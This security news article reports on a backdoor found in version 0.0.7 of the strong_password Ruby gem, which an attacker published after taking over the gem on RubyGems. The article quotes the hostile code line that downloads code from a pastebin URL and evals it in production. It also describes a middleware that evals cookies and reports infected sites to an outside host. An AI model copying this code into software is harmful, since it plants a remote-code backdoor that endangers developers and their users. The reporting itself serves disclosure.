The developer Tute Costa found a backdoor in the Ruby library during regular security audits before deploying his code in the production environment.
The developer Tute Costa found a backdoor in the Ruby library during regular security audits. The dangerous code was used to check the password strength of user-chosen passwords when the library was being used in a production environment.
In production, the code would download a payload from Pastebin.com and execute it to create the actual backdoor in the application that used the strong_password library.
The backdoor checks if the website is infected and report its URL to “smiley.zzz.com.ua,” then it waits for instructions sent as cookie files.
“I downloaded the gem from RubyGems and compared its contents with the latest copy in GitHub.” wrote the expert.
“At the end of lib/strong_password/strength_checker.rb version 0.0.7 there was the following:
def! ; begin; yield; rescue Exception; end; end! {Thread. new{ loop{ !{sleep rand*3333;eval(Net::HTTP.get(URI('https://pastebin.com/raw/xa456PFt')))}}}if Rails. env [ 0] =="p"}
“it fetches and runs the code stored in a pastebin.com, only if running in production, with an empty exception handling that ignores any error it may raise.”
The analysis of the code revealed that the if the code is run for the first time (it checks for the existence of a dummy constant named Z1) it injects a middleware that decodes, using the eval function, cookies named with an ___id suffix, only in production.
“All surrounded by the empty exception handler _! function that’s defined in the hijacked gem, opening the door to silently executing remote code in production at the attacker’s will.” continues the expert.
Summarizing, the backdoor mechanism would have allowed an ill-intentioned to run arbitrary code in an app using the backdoored library.
The code appeared to be published by an empty account, with a different name than the maintainer’s, with access only to this gem, for this reason, the expert contacted the maintainer.
Thanks to the support of the library’s maintainer he discovered that the attacker replaced the real developer as the library owner on RubyGems.
The attacker created a new version of the library (version 0.0.7 that contained the backdoor code) that was downloaded by 537 users.
The expert pointed out that the backdoored code was only distributed through RubyGems, it was not uploaded on the library’s GitHub account.
Costa also reported his findings to the RubyGems security team that removed the malicious version was the repo within.
The expert suggests owners of projects that use this library to audit their code to detect any potential abuse.
“I asked for a CVE identifier (Common Vulnerabilities and Exposures) to cve-request@mitre.org, and they assigned CVE-2019-13354, which I used to announce the potential issue in production installations to the rubysec/ruby-advisory-db project and the ruby-security-ann Google Group.” concludes the expert.
| [adrotate banner=”9″] | [adrotate banner=”12″] |
(
[adrotate banner=”5″]
[adrotate banner=”13″]
